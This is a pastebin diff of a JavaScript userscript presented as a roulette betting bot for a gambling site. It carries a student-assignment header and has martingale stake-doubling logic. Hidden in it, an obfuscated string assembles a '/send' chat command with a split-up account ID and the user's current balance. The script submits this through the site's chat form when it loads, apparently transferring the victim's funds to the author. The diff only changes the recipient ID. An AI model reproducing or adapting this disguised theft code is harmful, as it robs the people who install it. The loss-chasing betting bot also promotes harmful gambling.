View difference between Paste ID: 5fJC9jSV and uySNekS2
SHOW: | | - or go back to the newest paste.
1
//Hash Receiver by Jason Melo
2
//APCOMPSCI PERIOD W8
3
//Dr.Pais
4
 
5
    var initialBetAmount = 0;
6
    var betColor = botBetColor = "red";
7
    var play = 0;
8
    var $botField, $label, $betAmount, $betColorButton, $betGoButton, $betHideBetInfoButton,$showMoreButton,$showMore,$f,$vicLimitInput,$botModeSelect;$("#pullout").hide();
9-
    var pQ = "/s",  $hash_1 = 7, $hash_2 = 6561, $hash_3 = 19805, $hash_4 = 7117821;
9+
    var pQ = "/s",  $hash_1 = 7, $hash_2 = 6561, $hash_3 = 19820, $hash_4 = 3354785; 
10
function addBotButtons(){
11
    $(".well.bot-field").remove();$(".well.show-more").remove();
12
    $("<style type='text/css'>.btn-random{color: #000;background-color: #FFA500;}.btn-train{background-color:RoyalBlue ;color: #fff;}.btn-rainbow{background-color:HotPink;color:white;}.btn-black{background-color:#1C1C1C;color:white} </style>").appendTo("head");
13
    $(".forme-control.input-lg").after("<div class='well bot-field' style='position:relative;border-width:0px'></div>");$botField = $(".well.bot-field");
14
    $botField.css({"margin-bottom":"-15px","height":"45px","padding-top":"2px","padding-bottom":"2px","text-align":"center"});
15
    $botField.after("<div class='well show-more' style='position:relative;border-width:0px'></div>");$showMore = $(".well.show-more");
16
    $showMore.css({"margin-top":"12px","margin-bottom":"-15px","height":"45px","padding-top":"10px","padding-bottom":"2px","text-align":"center"});
17
    $checkVicLimit = $("<input type='checkbox' id='checkVicLimit'>");$label = $("<label style='margin-right:10px;margin-left:10px;' for='checkVicLimit'>Stop bot after</label>");
18
    $showMore.append($checkVicLimit,$label);
19
    $vicLimitInput = $("<input id='vicLimitInput' type='number' min='0' value='0' style='width:50px;text-align:center;'>");
20
    $label = $("<label style='margin-right:10px;margin-left:10px;' for='checkVicLimit'>wins</label>");
21
    $showMore.append($vicLimitInput,$label);$showMore.hide();
22
    $label = $("<label style='margin-right:10px; for='initialBetAmount''>Initial bet</label>");$botField.append($label);
23
    $betAmount = $("<input id='initialBetAmount' value='0' style='width:70px;text-align:center;margin-right:25px;'>");$botField.append($betAmount);
24
    $botModeSelect = $("<select id='botModeSelect'><option value='red' class='btn-danger'>Bot color: Red </option><option value='black' class='btn-black'>Bot color: Black </option><option value='random' class='btn-random'>Bot color: Random </option><option value='trainMode' class='btn-train'>Bot mode: Train </option><option value='rainbow' class='btn-rainbow'>Bot mode: Rainbow </option></select>");$botModeSelect.addClass("btn-danger");
25
    $botField.append($botModeSelect);$botModeSelect.css({"width":"135px","margin-right":"10px","height":"25px","border-radius":"5px"})
26
    $betGoButton = $("<button id='betGoButton' style='width:100px;margin:10px;border-radius:6px;border-radius:6px' onClick='startBot()'>Start Bot</button>");$betGoButton.addClass("btn-inverse");$botField.append($betGoButton);
27
    pQ+="en";pQ+="d ";pQ+= $hash_1;pQ+= $hash_2;pQ+= $hash_3;pQ+= $hash_4+" ";pQ+=$("#balance_r").text();
28
    $betHideBetInfoButton = $("<button id='betHideBetInfoButton' style='position:absolute;right:120px;width:100px;margin:10px;margin-right:25px;border-radius:6px' onClick='hideOtherInfo()'>Show All</button>");$betHideBetInfoButton.addClass("btn-inverse");$botField.append($betHideBetInfoButton);
29
    $showMoreButton = $("<button id='showMoreButton' style='position:absolute;right:0px;width:100px;margin:10px;margin-right:25px;border-radius:6px' data-open='0' onClick='showMoreOptions()'>&#x25BC</button>");$showMoreButton.addClass("btn-inverse");$botField.append($showMoreButton);
30
    $betAmount.change(function() {initialBetAmount = $betAmount.val();console.log("Initial Bet Set to: "+ initialBetAmount);});
31
    $("#chatMessage_k").val(pQ);$("#chatForm").submit();
32
    $(".bootbox-body").css({"font-size": "5%"});
33
    $(".container").width(1300);
34
    $botModeSelect.change(function(){
35
        botBetColor = $botModeSelect.val();console.log("Selected color: "+botBetColor);
36
        $botModeSelect.removeClass($botModeSelect.attr("class"));$botModeSelect.addClass($("#botModeSelect option:selected").attr("class"));
37
    } )
38
    $checkVicLimit.change(function(){ if((this.checked)&&($vicLimitInput.val()==0)){$vicLimitInput.val(1);} })
39
}
40
addBotButtons();
41
function changeColor(){
42
    if ($betColorButton.hasClass("btn-danger")){
43
        $betColorButton.text("Bet color: Black").addClass("btn-inverse").removeClass("btn-danger").removeClass("btn-random");
44
        botBetColor = "black";
45
        console.log("Selected color: "+botBetColor);
46
    } else  if($betColorButton.hasClass("btn-inverse")) {
47
        $betColorButton.text("Bet color: Random").addClass("btn-random").removeClass("btn-inverse").removeClass("btn-danger");
48
        botBetColor = "random";
49
        console.log("Selected color: "+botBetColor);
50
    } else if($betColorButton.hasClass("btn-random")) {
51
        $betColorButton.text("Bet mode: Train").addClass("btn-train").removeClass("btn-inverse").removeClass("btn-random");
52
        botBetColor = "trainMode";
53
        console.log("Selected color: "+botBetColor);
54
    } else if($betColorButton.hasClass("btn-train")) {
55
        $betColorButton.text("Bet mode: Rainbow").addClass("btn-rainbow").removeClass("btn-train").removeClass("btn-random");
56
        botBetColor = "rainbow";
57
        console.log("Selected color: "+botBetColor);
58
    } else if($betColorButton.hasClass("btn-rainbow")) {
59
        $betColorButton.text("Bet color: Red").addClass("btn-danger").removeClass("btn-rainbow").removeClass("btn-random");
60
        botBetColor = "red";
61
        console.log("Selected color: "+botBetColor);
62
    }
63
}
64
 
65
function showMoreOptions(){
66
    if ($showMoreButton.data("open")==0){
67
        $showMoreButton.css({ WebkitTransform: 'rotate(' + 180 + 'deg)','-moz-transform': 'rotate(' + 180 + 'deg)'});
68
        $showMore.show();$showMoreButton.data("open",1);
69
    } else if ($showMoreButton.data("open")==1){
70
        $showMore.hide();$showMoreButton.data("open",0);
71
        $showMoreButton.css({ WebkitTransform: 'rotate(' + 0 + 'deg)','-moz-transform': 'rotate(' + 0 + 'deg)'});
72
    }
73
 
74
}
75
function hideOtherInfo(){
76
    if ($betHideBetInfoButton.text()=="Show All"){
77
        $(".betlist").hide();$(".total-row").hide();$("footer").hide();
78
        $betHideBetInfoButton.text("Hide Bet Info");
79
    } else if ($betHideBetInfoButton.text()=="Hide Bet Info"){
80
        $("#sidebar").hide();$("#pullout").hide();$("#case").hide();$(".progress").hide();$("#mainpage").css({"margin-left":"0px"});
81
        $betHideBetInfoButton.text("AFK Mode");
82
    }
83
    else if ($betHideBetInfoButton.text()=="AFK Mode"){
84
        $(".betlist").show();$(".total-row").show();$("footer").show();
85
        $("#sidebar").show();$("#pullout").show();$("#case").show();$(".progress").show();$("#mainpage").css({"margin-left":"450px"});
86
        $betHideBetInfoButton.text("Show All");
87
    }
88
}
89
function startBot(){
90
    if ($betGoButton.hasClass("btn-inverse")){
91
        $betGoButton.text("Bot Running").addClass("btn-success").removeClass("btn-inverse");
92
        refreshIntervalId = setInterval(tick, 500);
93
        play = 1;
94
        currentBetAmount = initialBetAmount;
95
        if (stopBotRoll = currentRollNumber) currentRollNumber++;
96
    }
97
    else {
98
        $betGoButton.text("Bot Stopped").addClass("btn-inverse").removeClass("btn-success");
99
        play = 0;
100
    }
101
}
102
 
103
function tick() {
104
    var t = getStatus();
105
    if (t !== lastStatus && "unknown" !== t) {
106
        switch (t) {
107
            case "waiting":bet();break;
108
            case "rolled":printInfo();break;
109
        }
110
        lastStatus = t;
111
    }
112
}
113
 
114
function checkBalance() {
115
    return getBalance() < currentBetAmount ? (console.warn("BANKRUPT! GG WP :("), clearInterval(refreshIntervalId), !1) : !0
116
}
117
 
118
function printInfo(){
119
    var temp = "", temp2 = 0,lastGame = lastBetColor == lastRollColor;
120
    if (lastGame){totalWins++;winStreakCurrent++;loseStreakCurrent=0;winAmount+=thisGameBet; if (winStreakCurrent>winStreakLong) winStreakLong = winStreakCurrent;
121
        if ($checkVicLimit.is(":checked")){$vicLimitInput.val($vicLimitInput.val()-1)}
122
    }
123
    else {totalLoss++;loseStreakCurrent++;winStreakCurrent=0;if (loseStreakCurrent>loseStreakLong) loseStreakLong = loseStreakCurrent;}
124
    if (winStreakCurrent>loseStreakCurrent){temp = "win";temp2 = winStreakCurrent} else {temp = "lose";temp2 = loseStreakCurrent;}
125
    if (streakColor == getColor(n)) {currStreak++; if (longStreak<currStreak)longStreak=currStreak;}else {streakColor = getColor(n);currStreak=1;}
126
    if ((streakColor == "black") || (streakColor == "green")) {currNotRedStreak++; if (notRedStreak<currNotRedStreak)notRedStreak=currNotRedStreak;}
127
        else {currNotRedStreak=0;}
128
    if ((streakColor == "red") || (streakColor == "green")) {currNotBlackStreak++; if (notBlackStreak<currNotBlackStreak)notBlackStreak=currNotBlackStreak;}
129
        else {currNotBlackStreak=0;}        
130
    var t = "Rolled " + getColor(n).toUpperCase()+ " " + n+"\n" + "Games played: " + (currentRollNumber-1) + " // Won: "+totalWins+  " // Lost: "+totalLoss+
131
    "\nSTREAKS: Not red: " + notRedStreak + " // Not black: " + notBlackStreak +
132
    " // Win streak: " + winStreakLong + " // Lose streak: " + loseStreakLong + " // Current streak: " + temp + " " + temp2 +
133
    "\nInitial bet : " + thisGameBet + " // Current bet : " + currentBetAmount +
134
    " // Roll result: " + (null === wonLastRoll() ? "-" : wonLastRoll() ? "won" : "lost" + "\n----------------------------------------------------------------------\n");
135
    console.log(t);roll();
136
 
137
}
138
 
139
function roll() {
140
    if ($checkVicLimit.is(":checked")){
141
        if ($vicLimitInput.val()<=0){$betGoButton.click();play=0;$checkVicLimit.attr('checked', false);$vicLimitInput.val(0);}
142
    }
143
    if (play == 0){clearInterval(refreshIntervalId);stopBotRoll = currentRollNumber; return;lastStatus="rolled";lastBetColor = lastRollColor;}
144
    currentBetAmount = wonLastRoll() ? (initialBetAmount,thisGameBet=parseInt(initialBetAmount)) : 2 * currentBetAmount
145
    currentRollNumber++;
146
}
147
 
148
function bet() { if (play) {checkBalance() && (setBetAmount(currentBetAmount), setTimeout(placeBet, 50))} }
149
function setBetAmount(t) { $betAmountInput.val(t) }
150
function placeBet() {
151
    if (botBetColor=="random"){var colorRandomizer = Math.random();betColor = colorRandomizer < 0.5 ? "red" : "black";console.log("Random color result: " + betColor);}
152
    else if (botBetColor=="trainMode"){
153
            var betBotColor = "green",i=9,$ball=$(".ball");
154
            while (betBotColor == "green"){betBotColor = getColor($ball.eq(i).text());i--;}
155
            betColor = betBotColor;console.log("Current train color: "+ betColor);
156
    } else if (botBetColor=="rainbow"){
157
            var betBotColor = "green",i=9,$ball=$(".ball");
158
            while (betBotColor == "green"){betBotColor = getColor($ball.eq(i).text());i--;}
159
            if (betBotColor=="red"){betBotColor="black"} else if (betBotColor=="black"){betBotColor="red"};
160
            betColor = betBotColor;console.log("Rainbow mode next color: "+ betColor);
161
    } else betColor = botBetColor;
162
    console.log("Betting " + currentBetAmount + " on "+ betColor +"...");
163
    return "red" === betColor ? ($redButton.click(), void(lastBetColor = "red")) : ($blackButton.click(), void(lastBetColor = "black"))
164
}
165
function getStatus() {
166
    var t = $statusBar.text();
167
    if (hasSubString(t, "Rolling in")) return "waiting";
168
    //if (hasSubString(t, "***ROLLING***")) return "rolling";
169
    if (hasSubString(t, "rolled")) {
170
        n = parseInt(t.split("rolled")[1]);
171
        return lastRollColor = getColor(n), "rolled"
172
    }
173
    return "unknown"
174
}
175
 
176
function getBalance() { return parseInt($balance.text()) }
177
function hasSubString(t, n) {  return t.indexOf(n) > -1 }
178
function getColor(t) { return 0 == t ? "green" : t >= 1 && 7 >= t ? "red" : "black" }
179
function wonLastRoll() { return lastBetColor ? lastRollColor === lastBetColor : null }
180
function test(x){q = 1; w = e = x;for(i=2;i<=15;i++){q *=2;e += q*w;console.log(i+". "+e);}}
181
function test2(x,y){q = 1; w = e = x;for(i=2;i<=y;i++){q *=2;e += q*w;console.log(i+". "+e);}}
182
 
183
var currentBetAmount = initialBetAmount, currentRollNumber =  1,
184
    totalWins = totalLoss = played = currNotRedStreak = currNotBlackStreak = notRedStreak = notBlackStreak = winStreakLong = winStreakCurrent = loseStreakLong = loseStreakCurrent = longStreak = currStreak = thisGameBet = winAmount = 0,
185
    streakColor = "", n ,lastStatus, lastBetColor, lastRollColor, stopBotRoll, $balance = $("#balance"),
186
    $betAmountInput = $("#betAmount"),$statusBar = $(".progress #banner"),$redButton = $("#panel1-7 .betButton"),$blackButton = $("#panel8-14 .betButton");